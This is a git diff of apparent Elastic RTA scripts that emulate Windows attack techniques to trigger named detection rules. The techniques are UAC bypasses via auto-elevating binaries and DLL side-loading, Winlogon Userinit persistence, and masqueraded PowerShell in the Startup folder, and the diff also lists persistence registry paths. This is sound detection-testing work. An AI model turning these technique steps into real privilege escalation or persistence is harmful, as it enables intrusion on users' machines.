+ "rule_name": "UAC Bypass via DiskCleanup Scheduled Task Hijack", + "rule_id": "d487049e-381d-44ad-9ec9-d23e88dbf573", + } + ], + siem=[], + techniques=["T1548"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.execute([powershell, "/autoclean", "/d"], timeout=2, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_dism_dll_side_loading.py b/rta/uac_dism_dll_side_loading.py new file mode 100644 index 000000000..6beab774a --- /dev/null +++ b/rta/uac_dism_dll_side_loading.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f5c31db1-a376-47b3-9ba3-a946408e2bbc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via DismCore DLL Side-Loading", + "rule_id": "38210b91-f593-4c1c-a582-e5309c5b5168", + }, + ], + siem=[], + techniques=["T1574", "T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dism = "C:\\Users\\Public\\Dism.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpathdll = "C:\\Users\\Public\\a.dll" + dccwpathdll2 = "C:\\Users\\Public\\DismCore.dll" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, dism) + common.copy_file(EXE_FILE, dllhost) + common.copy_file(EXE_FILE, dccwpathdll) + + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([dism, "/c", powershell], timeout=2, kill=True) + common.remove_files(dism, dllhost, dccwpathdll2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py index 51cc81e03..33e216b87 100644 --- a/rta/uac_eventviewer.py +++ b/rta/uac_eventviewer.py @@ -12,6 +12,16 @@ import sys import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1185afa2-49aa-4cca-8702-228d238c0bd5", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "31b4c719-f2b4-41f6-a9bd-fce93c2eaf62", "rule_name": "Bypass UAC via Event Viewer"}], + techniques=["T1548"], +) # Default machine value: @@ -19,7 +29,7 @@ from . import common # %SystemRoot%\system32\mmc.exe "%1" %* -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(target_file=common.get_path("bin", "myapp.exe")): winreg = common.get_winreg() common.log("Bypass UAC with %s" % target_file) @@ -33,7 +43,7 @@ def main(target_file=common.get_path("bin", "myapp.exe")): time.sleep(3) common.log("Killing MMC", log_type="!") - common.execute(['taskkill', '/f', '/im', 'mmc.exe']) + common.execute(["taskkill", "/f", "/im", "mmc.exe"]) common.log("Restoring registry key", log_type="-") winreg.DeleteValue(hkey, "") diff --git a/rta/uac_eventvwr.py b/rta/uac_eventvwr.py new file mode 100644 index 000000000..6c5bfa9cc --- /dev/null +++ b/rta/uac_eventvwr.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7396debc-65ce-488f-845e-f92e68aceeb1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "UAC Bypass via Event Viewer", "rule_id": "ab29a79a-b3c2-4ae4-9670-70dd0ea68a4a"}, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + eventvwr = "C:\\Users\\Public\\eventvwr.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, eventvwr) + + common.execute([eventvwr, "/c", powershell], timeout=2, kill=True) + common.remove_files(eventvwr) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_fodhelper.py b/rta/uac_fodhelper.py new file mode 100644 index 000000000..86fe0f002 --- /dev/null +++ b/rta/uac_fodhelper.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a67586fd-cceb-4fb9-bf0e-d355b9e8921a", + platforms=["windows"], + endpoint=[ + {"rule_name": "UAC Bypass via FodHelper Execution Hijack", "rule_id": "b5c0058e-2bca-4ed5-84b3-4e017c039c57"} + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\ms-settings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + fodhelper = "C:\\Users\\Public\\fodhelper.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, fodhelper) + + common.execute([fodhelper, "/c", powershell], timeout=2, kill=True) + common.remove_file(fodhelper) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_icmluautil.py b/rta/uac_icmluautil.py new file mode 100644 index 000000000..6605c6fc2 --- /dev/null +++ b/rta/uac_icmluautil.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e0e95f35-173d-4545-a1cc-ee35ee1d89b1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via ICMLuaUtil Elevated COM Interface", + "rule_id": "13fab475-06e4-4ac9-87fc-2105c7441244", + }, + ], + siem=[], + techniques=["T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dllhost = "C:\\Users\\Public\\dllhost.exe" + common.copy_file(EXE_FILE, dllhost) + + common.execute( + [dllhost, "/c", "echo 3E5FC7F9-9A51-4367-9063-A120244FBEC7; powershell"], + timeout=2, + kill=True, + ) + common.remove_file(dllhost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_deserialization.py b/rta/uac_mmc_deserialization.py new file mode 100644 index 000000000..219617c1d --- /dev/null +++ b/rta/uac_mmc_deserialization.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="1d486055-38f8-4cf3-aec1-7f4f72d73fb2", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via Unsafe Deserialization in Event Viewer", + "rule_id": "df7e55c9-cd36-4e33-9e82-3a54b9c84495", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + appdata = os.getenv("LOCALAPPDATA") + path = appdata + "\\Microsoft\\Event Viewer" + recentfiles = path + "\\RecentViews" + + if os.path.exists(path): + common.copy_file(EXE_FILE, recentfiles) + common.remove_file(recentfiles) + else: + os.mkdir(path) + common.copy_file(EXE_FILE, recentfiles) + common.remove_file(recentfiles) + os.rmdir(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_hijack.py b/rta/uac_mmc_hijack.py new file mode 100644 index 000000000..7cbff6458 --- /dev/null +++ b/rta/uac_mmc_hijack.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="99d89d71-4025-481d-80f9-efb795beca29", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via Malicious MMC Snap-In Execution", + "rule_id": "ccdf56a8-697b-497c-ab90-3aa01bfc5f9f", + }, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mmc = "C:\\Users\\Public\\mmc.exe" + msc = "C:\\Users\\Public\\a.msc" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, mmc) + common.copy_file(EXE_FILE, msc) + + common.execute([mmc, "/c", "echo", "a.msc b.msc"], timeout=2, kill=True) + common.execute([mmc, "/c", powershell], timeout=2, kill=True) + common.remove_files(mmc, msc) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_net_core_profiler.py b/rta/uac_mmc_net_core_profiler.py new file mode 100644 index 000000000..86f572004 --- /dev/null +++ b/rta/uac_mmc_net_core_profiler.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="33f20563-7d1b-46a4-8644-a563f2488120", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via MMC DLL Search Order Hijacking", + "rule_id": "28996098-b9be-4aa8-a1f3-4923c84b2649", + }, + ], + siem=[], + techniques=["T1574", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Environment" + value = "COR_PROFILER_PATH" + data = "temp.dll" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + mmc = "C:\\Users\\Public\\mmc.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, mmc) + + common.execute([mmc, "/c", powershell], timeout=2, kill=True) + common.remove_files(mmc) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py index 02360aa67..309be5580 100644 --- a/rta/uac_sdclt.py +++ b/rta/uac_sdclt.py @@ -3,40 +3,32 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Bypass UAC via Sdclt -# RTA: uac_sdclt.py -# ATT&CK: T1088 -# Description: Modifies the Registry to auto-elevate and execute mock malware. - -import os -import sys -import time - from . import common +from . import RtaMetadata -# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand -# "sdclt.exe /KickOffElev" or children of sdclt.exe -# HKLM value: "%1" %* +metadata = RtaMetadata( + uuid="7d1ca1a2-be0e-4cd8-944f-2da2fc625468", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "UAC Bypass via Sdclt", "rule_id": "e9095298-65e0-40a2-97c9-055de8685645"}, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") -@common.requires_os(common.WINDOWS) -def main(target_process=common.get_path("bin", "myapp.exe")): - target_process = os.path.abspath(target_process) +@common.requires_os(metadata.platforms) +def main(): + sdclt = "C:\\Users\\Public\\sdclt.exe" + common.copy_file(EXE_FILE, sdclt) - common.log("Bypass UAC via Sdclt to run %s" % target_process) - - key = "Software\\Classes\\exefile\\shell\\runas\\command" - value = "IsolatedCommand" - - with common.temporary_reg(common.HKCU, key, value, target_process): - common.log("Running Sdclt to bypass UAC") - common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"]) - - time.sleep(2) - common.log("Killing the Windows Backup program sdclt", log_type="!") - common.execute(['taskkill', '/f', '/im', 'sdclt.exe']) + common.execute([sdclt, "/c", "echo", "/kickoffelev; powershell"], timeout=2, kill=True) + common.remove_files(sdclt) if __name__ == "__main__": - exit(main(*sys.argv[1:])) + exit(main()) diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py index 5a4784880..55a674a67 100644 --- a/rta/uac_sysprep.py +++ b/rta/uac_sysprep.py @@ -10,13 +10,20 @@ from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="72e0a6ca-5b2d-48f6-9d6f-a879ace9cdae", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Bypass UAC with CRYPTBASE.dll") - common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + common.copy_file( + "C:\\windows\\system32\\kernel32.dll", + "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL", + ) common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True) common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") diff --git a/rta/uac_windows_activation.py b/rta/uac_windows_activation.py new file mode 100644 index 000000000..2bb11917e --- /dev/null +++ b/rta/uac_windows_activation.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9643aa7f-fe2e-46f1-b3ef-8cf07b5aaaa0", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via Windows Activation Execution Hijack", + "rule_id": "71ad1420-ed83-46d0-835b-63d4b2008427", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\Launcher.SystemSettings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + changepk = "C:\\Users\\Public\\changepk.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, changepk) + + common.execute([changepk, "/c", powershell], timeout=2, kill=True) + common.remove_file(changepk) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_winfw_mmc.py b/rta/uac_winfw_mmc.py new file mode 100644 index 000000000..19ecc4e48 --- /dev/null +++ b/rta/uac_winfw_mmc.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2f19d0f2-64cb-41db-81e6-da06f9e83bcb", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via Windows Firewall Snap-In Hijack", + "rule_id": "65f52068-4d08-41af-9fd7-0c1a4f732494", + }, + ], + siem=[], + techniques=["T1574", "T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mmc = "C:\\Users\\Public\\mmc.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpathdll = "C:\\Windows\\assembly\\temp\\a.dll" + dccwpathdll2 = "C:\\Windows\\assembly\\temp\\Accessibility.ni.dll" + common.copy_file(EXE_FILE, mmc) + common.copy_file(EXE_FILE, dllhost) + + common.copy_file(EXE_FILE, dccwpathdll) + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([mmc, "/c", "echo", "WF.msc", ";powershell"], timeout=2, kill=True) + common.remove_files(mmc, dllhost, dccwpathdll2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_wow64log.py b/rta/uac_wow64log.py new file mode 100644 index 000000000..9fa0ec345 --- /dev/null +++ b/rta/uac_wow64log.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ab957b94-2c39-49dd-93cf-f1e40394ff1b", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass Attempt via WOW64 Logger DLL Side-Loading", + "rule_id": "28a39a43-e850-4941-8605-ffa23dcfd25a", + } + ], + siem=[], + techniques=["T1574", "T1548"], +) + +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\wow64log.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + common.log("Modifying the OriginalFileName attribute to invalidate the signature") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "wow64log.dll"]) + + common.log("Loading wow64log.dll and spawning a high integrity process") + common.execute( + [powershell, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; powershell"], + timeout=10, + ) + + common.remove_files(dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_wsreset.py b/rta/uac_wsreset.py new file mode 100644 index 000000000..8f8e8d8e0 --- /dev/null +++ b/rta/uac_wsreset.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e8612e97-2df7-4e85-94ee-e61bc58c6479", + platforms=["windows"], + endpoint=[ + {"rule_name": "UAC Bypass via WSReset Execution Hijack", "rule_id": "11c67af9-9599-4800-9e84-bd38f2a51581"} + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software" + value = "ms-windows-store" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + wsreset = "C:\\Users\\Public\\wsreset.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, wsreset) + + common.execute([wsreset, "/c", powershell], timeout=2, kill=True) + common.remove_file(wsreset) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py index 6d48c1592..9fe003281 100644 --- a/rta/uncommon_persistence.py +++ b/rta/uncommon_persistence.py @@ -11,10 +11,21 @@ import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ca020d7f-f495-4f0a-a808-da615f3409b4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "97fc44d3-8dae-4019-ae83-298c3015600f", "rule_name": "Startup or Run Key Registry Modification"}], + techniques=["T1547"], +) + # There are many unconventional ways to leverage the Registry for persistence: -''' +""" key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or @@ -54,13 +65,16 @@ key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" o key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or key_path == "*\\System\\Setup\\CmdLine" ) -''' # noqa: E501 +""" # noqa: E501 -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(target="calc.exe"): winreg = common.get_winreg() - hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + hkey = winreg.CreateKey( + winreg.HKEY_CURRENT_USER, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", + ) common.log("Setting reg key") winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target) diff --git a/rta/unsigned_startup_item_netconn.py b/rta/unsigned_startup_item_netconn.py new file mode 100644 index 000000000..d180a7039 --- /dev/null +++ b/rta/unsigned_startup_item_netconn.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="245fcf03-6df8-4731-af94-f2ba4ed60670", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unusual File Written or Modified in Startup Folder", + "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", + }, + {"rule_name": "Network Connection via Startup Item", "rule_id": "0b33141a-3f73-4414-ba90-d8410e6ab176"}, + ], + siem=[], + techniques=["T1547", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" + common.copy_file(EXE_FILE, posh) + + common.execute( + [ + posh, + "/c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_kerberos_client.py b/rta/unusual_kerberos_client.py new file mode 100644 index 000000000..a43e2633d --- /dev/null +++ b/rta/unusual_kerberos_client.py @@ -0,0 +1,72 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="78e59247-db65-412a-898c-2e757d695851", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Suspicious Directory", "rule_id": "9ba39516-651e-489f-8b6a-f5501e0c492d"}, + { + "rule_name": "Executable File Creation Followed by Immediate Network Connection", + "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", + }, + {"rule_name": "Unusual Kerberos Client Process", "rule_id": "b5c91c3e-9d2d-4df6-afb7-c9d236b5ebe2"}, + ], + siem=[], + techniques=["T1558", "T1204", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\System.DirectoryServices.Protocols.test.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + common.log("Modifying the OriginalFileName attribute") + common.execute( + [ + rcedit, + dll, + "--set-version-string", + "OriginalFilename", + "System.DirectoryServices.Protocols.test.dll", + ] + ) + + common.log("Loading System.DirectoryServices.Protocols.test.dll") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "88", + ], + timeout=10, + ) + + common.remove_files(posh, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py index 3c28d4242..c94443c32 100644 --- a/rta/unusual_ms_tool_network.py +++ b/rta/unusual_ms_tool_network.py @@ -14,12 +14,29 @@ import shutil import sys from . import common +from . import RtaMetadata if sys.version_info > (3,): urlliblib = "urllib.request" else: urlliblib = "urllib" + +metadata = RtaMetadata( + uuid="cf94f5cc-5265-4287-80e5-82d9663ecf2e", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + {"rule_id": "610949a1-312f-4e04-bb55-3a79b8c95267", "rule_name": "Unusual Process Network Connection"}, + ], + techniques=["T1127"], +) + + process_names = [ "bginfo.exe", "msdt.exe", @@ -31,7 +48,7 @@ process_names = [ "cmstp.exe", "xwizard.exe", "fsi.exe", - "odbcconf.exe" + "odbcconf.exe", ] @@ -39,11 +56,17 @@ def http_from_process(name, ip, port): path = os.path.join(common.BASE_DIR, name) common.log("Making HTTP GET from %s" % path) shutil.copy(sys.executable, path) - common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)]) + common.execute( + [ + path, + "-c", + "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port), + ] + ) common.remove_file(path) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): server, ip, port = common.serve_web() diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py index 187f20022..160a378c7 100644 --- a/rta/unusual_parent_child.py +++ b/rta/unusual_parent_child.py @@ -13,9 +13,19 @@ import os import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="6cf12026-f99f-4e5c-8cd4-3dbc7bce3e67", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "35df0dd8-092d-4a83-88c1-5151a804f31b", "rule_name": "Unusual Parent-Child Relationship"}], + techniques=["T1055"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable)) process_names = [ diff --git a/rta/unusual_powershell_engine_image_load.py b/rta/unusual_powershell_engine_image_load.py new file mode 100644 index 000000000..b6ac4ac2a --- /dev/null +++ b/rta/unusual_powershell_engine_image_load.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a5d82c62-6d4e-4d31-94f2-a996c9613604", + platforms=["windows"], + endpoint=[{"rule_name": "Unusual PowerShell Engine ImageLoad", "rule_id": "f57505bb-a1d2-4d3b-b7b5-1d81d7bdb80e"}], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\posh.exe" + common.copy_file(powershell, posh) + + common.log("Executing renamed powershell on system32 folder") + common.execute([posh, "-c", "echo RTA"], timeout=10) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_rdp_client.py b/rta/unusual_rdp_client.py new file mode 100644 index 000000000..42db9adc4 --- /dev/null +++ b/rta/unusual_rdp_client.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d3c0c965-3167-4fe3-8aee-a9f101766b5a", + platforms=["windows"], + endpoint=[ + {"rule_name": "Unusual Remote Desktop Client Process", "rule_id": "d448566e-486f-4b61-a76f-945662313d49"} + ], + siem=[], + techniques=["T1021"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + 